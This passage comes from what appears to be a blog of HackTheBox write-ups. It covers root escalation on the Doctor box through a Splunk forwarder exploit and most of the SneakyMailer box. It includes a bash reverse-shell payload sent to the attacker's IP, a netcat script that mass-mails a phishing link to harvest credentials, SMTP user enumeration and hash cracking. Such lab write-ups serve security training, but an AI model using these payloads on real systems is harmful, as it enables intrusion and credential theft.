nothing.&lt;/p&gt;&#10;&lt;p&gt;Then I inspected my groups and discovered that I could read many logs.&lt;/p&gt;&#10;&lt;p&gt;find / -group adm 2&amp;gt;/dev/null -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0597.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had an idea. Someone had to log in to either the port 80 site or the port 8089 service. If I could not access the 8089 service because I lacked its path and credentials, searching all configuration files might reveal passwords for the sites on 80 and 8089 and let me proceed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0598.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not find anything for 8089, but I did find a password.&lt;/p&gt;&#10;&lt;p&gt;/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] &amp;ldquo;POST /reset_password?email=Guitar123&amp;rdquo; 500 453 &amp;ldquo;&lt;a class="link" href="http://doctor.htb/reset_password%22" target="_blank" rel="noopener"&#10; &gt;http://doctor.htb/reset_password&amp;rdquo;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I started trying Guitar123 with su.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0599.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That successfully escalated me to shaun.&lt;/p&gt;&#10;&lt;p&gt;Everything pointed to splunkd on port 8089.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0600.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;My first thought was to create a local tunnel, but I could not access it locally either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0601.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It listened on 0.0.0.0, so this was not a local-only service. Yet I still could not access it locally.&lt;/p&gt;&#10;&lt;p&gt;Only later did I realize that I had been using http the entire time.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0602.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I accessed it successfully.&lt;/p&gt;&#10;&lt;p&gt;Only services and serviceNS were accessible, and they required a username and password. We happened to have shaun&amp;rsquo;s credentials.&lt;/p&gt;&#10;&lt;p&gt;Although we could not read this service&amp;rsquo;s passwd file or list its users, my earlier searches suggested that splunkd may use local /etc/passwd accounts to create users for login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0603.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully.&lt;/p&gt;&#10;&lt;p&gt;There are many tutorials on getting a shell online, and they also mention that this app often runs as root.&lt;/p&gt;&#10;&lt;p&gt;But every tutorial used a graphical interface to upload apps, then used the uploaded content to get a shell.&lt;/p&gt;&#10;&lt;p&gt;There was no graphical interface here for me to click through, so I had to find an absolute path. One post said that extracting an app locally had the same effect as uploading it through the GUI.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0604.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0605.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not have write permission, however. My current options were to find the app-upload endpoint or continue escalating locally into splunk.&lt;/p&gt;&#10;&lt;p&gt;Neither worked, so I started looking for a poc.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0606.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/cnotin/SplunkWhisperer2&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Whenever I find an exp but do not know how to use it, I search for the project name to understand how it works.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0607.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/" target="_blank" rel="noopener"&#10; &gt;https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That explanation was not useful, so I constructed the poc from the parameters in the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I used the local privilege-escalation script and tested it first.&lt;/p&gt;&#10;&lt;p&gt;python3 2.py &amp;ndash;scheme https &amp;ndash;port 8089 &amp;ndash;username shaun &amp;ndash;password Guitar123 &amp;ndash;payload &amp;lsquo;id &amp;gt; /tmp/1.txt&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0608.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It really worked: the created file genuinely belonged to root.&lt;/p&gt;&#10;&lt;p&gt;My later attempts with su and other commands had problems. Looking at the code, it appeared unable to remain running in the current context, so I tried a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;python3 2.py &amp;ndash;scheme https &amp;ndash;port 8089 &amp;ndash;username shaun &amp;ndash;password Guitar123 &amp;ndash;payload &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/1234 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0609.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. I spent a great deal of time on this box. I took the wrong approach to the foothold and investigated XXE before finally recognizing SSTI. The web-based escalation to shaun was not difficult, but I lacked the idea at first and wasted a lot of time, including trying to crack the hash from the db. Only at the end did I inspect the adm group. I think the overall process was sound; it was simply far too slow.&lt;/p&gt;&#10;&lt;p&gt;Escalating to root was next. I studied this service and read many posts before finding the exploit. The exploitation itself was easy, but reading all that code felt time-consuming. It did work in the end, so this was still a conventional process. I was simply too slow, and perhaps I also need to improve how I search google. The takeaway from this box is that I need to practice more boxes and improve my methodology.&lt;/p&gt;&#10;&lt;h2 id="27sneakymailer"&gt;&lt;a href="#27sneakymailer" class="header-anchor"&gt;&lt;/a&gt;27.SneakyMailer&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0610.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0611.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://sneakycorp.htb/index.php" target="_blank" rel="noopener"&#10; &gt;http://sneakycorp.htb/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This site revealed one useful detail.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0612.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Someone named Bradley Greer was a tester.&lt;/p&gt;&#10;&lt;p&gt;The boss was named Cara Stevens.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0613.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also told us that work had been assigned and that we needed to check our email, and that pip was available. One open question was our username: it only referred to us as You.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0614.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0615.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This contained every team member&amp;rsquo;s email address and role.&lt;/p&gt;&#10;&lt;p&gt;Bradley Greer&amp;rsquo;s:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0616.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The boss Cara Stevens&amp;rsquo;s:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0617.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After gathering this information, I checked each service. ftp did not allow anonymous login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0618.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0619.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SMTP accepted connections. We did not need to send mail yet, but I still checked everything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0620.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 8080 showed an nginx page. I started brute-forcing ports 80 and 8080, then examined imap on 143 and 993.&lt;/p&gt;&#10;&lt;p&gt;Brute force revealed a registration page: &lt;a class="link" href="http://sneakycorp.htb/pypi//register.php" target="_blank" rel="noopener"&#10; &gt;http://sneakycorp.htb/pypi//register.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It did nothing, so the attack clearly had to involve email.&lt;/p&gt;&#10;&lt;p&gt;I first saved every email address and verified them.&lt;/p&gt;&#10;&lt;p&gt;smtp-user-enum -M VRFY -U user.txt -w 20 -t 10.10.10.197 25&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0621.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0622.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;They all existed. My only apparent option was to brute-force 143.&lt;/p&gt;&#10;&lt;p&gt;I used the collected email addresses and passwords gathered by cewl.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0623.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It found nothing.&lt;/p&gt;&#10;&lt;p&gt;I kept searching for related vulnerabilities, thinking that perhaps I needed an exp. In practice, after a long time I still had nothing—not even a version number to match against.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck and had no options, so I looked at a write-up.&lt;/p&gt;&#10;&lt;p&gt;To confirm that this really was the only path, I reviewed many write-ups describing this step. Without exception, they sent a link to every email address. The delivery methods differed, but the idea was always the same.&lt;/p&gt;&#10;&lt;p&gt;Sending email through smtp is extremely common, but it never occurred to me that I could phish users with a link and make them send their information back. I genuinely never imagined that.&lt;/p&gt;&#10;&lt;p&gt;Now that I had the idea, I just needed to send the link.&lt;/p&gt;&#10;&lt;p&gt;I constructed the payload.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;helo smtp&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while read i; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;Mail from:test@sneakymailer.htb&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;Rcpt to:$i&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;data&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;subject:test&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;http://10.10.16.19:6789/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; done &amp;lt; user.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;quit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;} | nc sneakycorp.htb 25&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0624.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Running it sent the messages.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0625.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;nc received a response.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:firstName=Paul&amp;amp;lastName=Byrd&amp;amp;email=paulbyrd@sneakymailer.htb" &gt;firstName=Paul&amp;lastName=Byrd&amp;email=paulbyrd@sneakymailer.htb&lt;/a&gt;&amp;amp;password=^(#J@SkFv2[%KhIxKk(Ju&lt;code&gt;hqcHl&amp;lt;:Ht&amp;amp;rpassword=^(#J@SkFv2[%KhIxKk(Ju&lt;/code&gt;hqcHl&amp;lt;:Ht&lt;/p&gt;&#10;&lt;p&gt;ftp would not connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0626.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started testing port 143, thinking imap should let me view the inbox.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/hi_teotong/article/details/49635781" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/hi_teotong/article/details/49635781&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post was very good.&lt;/p&gt;&#10;&lt;p&gt;Port 143 did not work either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0627.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0628.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked 993 next.&lt;/p&gt;&#10;&lt;p&gt;openssl s_client -crlf -connect sneakycorp.htb:993&lt;/p&gt;&#10;&lt;p&gt;Then I ran:&lt;/p&gt;&#10;&lt;p&gt;a001 LOGIN &lt;a class="link" href="mailto:paulbyrd@sneakymailer.htb" &gt;paulbyrd@sneakymailer.htb&lt;/a&gt; &amp;ldquo;^(#J@SkFv2[%KhIxKk(Ju`hqcHl&amp;lt;:Ht&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0629.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That still did not work.&lt;/p&gt;&#10;&lt;p&gt;I tried a tool.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cmdschool.org/archives/5449" target="_blank" rel="noopener"&#10; &gt;https://www.cmdschool.org/archives/5449&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://imap-cli.readthedocs.io/en/latest/installation.html" target="_blank" rel="noopener"&#10; &gt;https://imap-cli.readthedocs.io/en/latest/installation.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Immediately after installation, it had a code error. I changed the code and got it running.&lt;/p&gt;&#10;&lt;p&gt;But it still produced an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0630.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The login failed, but I suspected it was using port 143 rather than 993.&lt;/p&gt;&#10;&lt;p&gt;I still could not log in. I tried ssh as well, but that also failed.&lt;/p&gt;&#10;&lt;p&gt;I was certain that, since I had an email address and password, the intended service was probably email. At the moment, however, my imap-cli did not work and could not specify a port or similar options.&lt;/p&gt;&#10;&lt;p&gt;Later I found a program named evolution.&lt;/p&gt;&#10;&lt;p&gt;apt-get install evolution&lt;/p&gt;&#10;&lt;p&gt;Simply install it, but do not run it as root or it will not open. It is a very straightforward program, yet there were no real tutorials online—only installation guides—so I had to work it out myself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0631.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Neither 993 nor 143 would accept the login. It kept failing.&lt;/p&gt;&#10;&lt;p&gt;I never expected that the correct username would be paulbyrd. I had always included the full email address before.&lt;/p&gt;&#10;&lt;p&gt;Then another problem appeared.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0632.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The issue was that when evolution was closed and reopened, it restarted kali, dropping every service. I then started openvpn again, which caused the system to hang. The real reason I could not reach the internal network was that the connection was gone.&lt;/p&gt;&#10;&lt;p&gt;It worked after a reboot. I simply had to avoid closing evolution again.&lt;/p&gt;&#10;&lt;p&gt;I first tested with imapcli.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0633.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I intentionally made the first account wrong.&lt;/p&gt;&#10;&lt;p&gt;The second account was correct and produced a different error, proving that the problem was with imapcli.&lt;/p&gt;&#10;&lt;p&gt;Next I started evolution.&lt;/p&gt;&#10;&lt;p&gt;It held me up for a while after opening, but I finally got in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0634.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were two messages.&lt;/p&gt;&#10;&lt;p&gt;The first leaked information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0635.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;Hello administrator, I want to change this password for the developer account&lt;/p&gt;&#10;&lt;p&gt;Username: developer&lt;/p&gt;&#10;&lt;p&gt;Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C&lt;/p&gt;&#10;&lt;p&gt;Please notify me when you do it&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I finally logged in to ftp. This password worked there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0636.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first thing I noticed was that this looked like a backup of the website—or perhaps the live web root itself. The earlier email said we needed to develop the contents of the pypi directory, so it was very likely a web directory. I could simply upload a shell.&lt;/p&gt;&#10;&lt;p&gt;But after uploading it, I could not access it, and it was deleted after a while. I tried uploading inside pypi, but that directory completely refused file uploads.&lt;/p&gt;&#10;&lt;p&gt;Further testing suggested that no directory accepted files except dev. Files uploaded there could not be accessed and were deleted.&lt;/p&gt;&#10;&lt;p&gt;My first thought was a race condition, so I tried it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0637.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not work.&lt;/p&gt;&#10;&lt;p&gt;I was stuck again. When I inspected the source files on ftp, they could not possibly be the files for the current site. At the very least, index.php differed from the live site&amp;rsquo;s version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0638.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This content was completely absent, as were several other files.&lt;/p&gt;&#10;&lt;p&gt;I could only interpret it as a backup. But if it was a backup, the configuration files should have contained something. They did not: these php files were pure html front-end code with nothing related to a backend.&lt;/p&gt;&#10;&lt;p&gt;With no way forward, I checked someone else&amp;rsquo;s write-up, which hinted at a subdomain. The path immediately became clear.&lt;/p&gt;&#10;&lt;p&gt;ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u &lt;a class="link" href="http://10.10.10.197" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.197&lt;/a&gt; -H &amp;ldquo;HOST: FUZZ.sneakycorp.htb&amp;rdquo; -fs 185&lt;/p&gt;&#10;&lt;p&gt;ffuf could brute-force it perfectly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0639.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The result was dev.sneakycorp.htb.&lt;/p&gt;&#10;&lt;p&gt;I added it to hosts.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0640.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, this matched the index.php I had just seen.&lt;/p&gt;&#10;&lt;p&gt;The dev directory had actually hinted at it too. In the future, I need to test subdomains with ffuf as soon as I obtain a domain, before moving on.&lt;/p&gt;&#10;&lt;p&gt;I only needed to put the file and visit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0641.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0642.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I finally obtained a shell.&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;There were several files in the pypi.sneakycorp.htb directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0643.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The .htpasswd file contained pypi&amp;rsquo;s password hash, which needed to be cracked.&lt;/p&gt;&#10;&lt;p&gt;packages could not be entered except by members of the pypi-pkg group.&lt;/p&gt;&#10;&lt;p&gt;The venv directory was only a virtual-environment configuration with basic files, so it was not very important. I considered the next step.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0644.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the group file. The pypi-pkg group included the pypi user.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0645.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/&lt;/p&gt;&#10;&lt;p&gt;The objective was now clear: escalate to pypi and inspect the packages directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0646.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1" target="_blank" rel="noopener"&#10; &gt;https://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;At first I did not know how to crack it. This post gave me the idea.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0647.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I only needed to specify the file, with no extra operations. Eventually it cracked successfully.&lt;/p&gt;&#10;&lt;p&gt;soufianeelhaoui&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0648.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As expected, pypi was configured with nologin, so I could not use su.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0649.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0650.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not use su to switch to either user with a home directory because the passwords were wrong, and pypi could not log in to ftp 